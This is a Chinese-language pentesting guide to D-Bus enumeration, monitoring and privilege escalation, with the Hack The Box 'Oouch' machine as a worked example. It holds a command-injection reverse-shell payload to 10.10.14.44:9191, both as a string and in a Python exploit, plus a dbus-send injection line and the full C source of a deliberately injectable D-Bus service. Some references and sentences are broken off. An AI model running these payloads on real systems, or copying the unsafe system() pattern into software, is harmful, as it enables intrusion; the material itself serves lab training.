请注意,在此示例中,使用tree参数选择了最新发现的接口(请参阅前一节):

busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -

注意接口htb.oouch.Block的方法.Block(我们感兴趣的方法)。其他列的“s”可能表示它期望一个字符串。

监视/捕获接口

拥有足够的特权(仅具有send_destination和receive_sender特权是不够的)可以监视 D-Bus 通信。

如果您知道如何配置一个D-Bus配置文件以允许非root用户嗅探通信,请与我联系!

监视的不同方式:

sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see

在以下示例中,监视接口htb.oouch.Block,并通过错误通信发送了消息"lalalalal":

busctl monitor htb.oouch.Block

Monitoring bus message stream.
‣ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

‣ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};

过滤所有噪音

如果总线上有太多信息,可以传递一个匹配规则,如下所示:

dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"

多个规则可以被指定。如果消息符合_任何_规则中的一个,该消息将被打印。就像这样:

dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"

更多

易受攻击的场景

作为主机“oouch”中的用户qtc,您可以在/etc/dbus-1/system.d/htb.oouch.Block.conf中找到一个意外的D-Bus配置文件:

<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

根据先前的配置,请注意您需要作为用户root或www-data才能通过此D-BUS通信发送和接收信息。

作为Docker容器aeb4525789d8中的用户qtc,您可以在文件_/code/oouch/routes.py_中找到一些与dbus相关的代码。以下是相关代码:

if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

正如您所看到的,它正在连接到一个 D-Bus 接口,并将"client_ip"发送到**"Block" 函数**。

在 D-Bus 连接的另一侧运行着一些 C 编译的二进制代码。这段代码正在监听 D-Bus 连接,接收 IP 地址并通过 system 函数调用 iptables 来阻止给定的 IP 地址。 对 system 的调用故意存在命令注入漏洞,因此像下面这样的有效载荷将创建一个反向 shell:;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

利用它

在本页末尾,您可以找到 D-Bus 应用程序的完整 C 代码。在其中,您可以在第 91-97 行之间找到**D-Bus 对象路径和接口名称是如何注册**的。发送信息到 D-Bus 连接时将需要这些信息:

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);

此外,在第57行,您可以发现此D-Bus通信中仅注册了一种方法,名为Block(这就是为什么在接下来的部分中,有效载荷将被发送到服务对象htb.oouch.Block,接口/htb/oouch/Block以及方法名Block):

SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),

Python

以下 Python 代码将通过 block_iface.Block(runme) 将 payload 发送到 D-Bus 连接的 Block 方法(注意,此代码段是从之前的代码块中提取的):

import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()

busctl 和 dbus-send

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
  • dbus-send 是一个用于向“消息总线”发送消息的工具。

  • 消息总线 - 系统用来使应用程序之间通信变得更容易的软件。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模式发送,而且非常快速。

  • “-system” 标签用于指定这是一个系统消息,而不是会话消息(默认情况下)。

  • “--print-reply” 标签用于适当打印我们的消息并以人类可读的格式接收任何回复。

  • “--dest=Dbus-Interface-Block” Dbus 接口的地址。

  • “--string:” - 我们想要发送到接口的消息类型。有几种格式可以发送消息,如 double、bytes、booleans、int、objpath。在这些格式中,“对象路径”在我们想要将文件路径发送到 Dbus 接口时很有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来将命令传递给接口,以文件的名称来代表命令。“string:;” - 这是再次调用对象路径的地方,我们在那里放置 FIFO 反向 shell 文件/命令。

请注意,在 htb.oouch.Block.Block 中,第一部分(htb.oouch.Block)引用了服务对象,而最后一部分(.Block)引用了方法名称。

C 代码

d-bus_server.c
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

参考资料

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png

当一个进程建立到总线的连接时,总线会为该连接分配一个特殊的总线名称,称为_唯一连接名称_。这种类型的总线名称是不可变的——只要连接存在,就保证不会更改,更重要的是,在总线的生命周期内不能被重用。这意味着即使同一进程关闭与总线的连接并创建新连接,也不会有其他连接到该总线的连接分配到这样的唯一连接名称。唯一连接名称很容易识别,因为它们以—否则被禁止的—冒号字符开头。

为了监视一个通信,您将需要成为root用户。如果您仍然发现无法成为root,请查看和

查看以获取有关匹配规则语法的更多信息。

busctl有更多选项,。

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🐧
来自维基百科:
https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/
https://wiki.ubuntu.com/DebuggingDBus
D-Bus文档
在此处找到所有选项
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
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